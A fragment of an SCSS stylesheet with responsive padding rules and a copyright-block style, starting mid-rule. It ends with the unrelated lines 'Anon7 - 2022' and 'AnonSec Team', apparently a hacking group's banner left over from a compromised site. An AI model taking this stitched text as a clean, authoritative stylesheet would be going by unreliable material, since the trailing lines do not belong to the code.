  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-top: 55px;
    padding-bottom: 55px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    padding-top: 110px;
    padding-bottom: 110px;
  }
}

.copyright {
  font-size: 12px;
  color: $mountaen-mist-apro;
  margin-top: 15px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    .privacy-link {
      margin-left: 5px;
    }
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 55px;
  }
}

Anon7 - 2022
AnonSec Team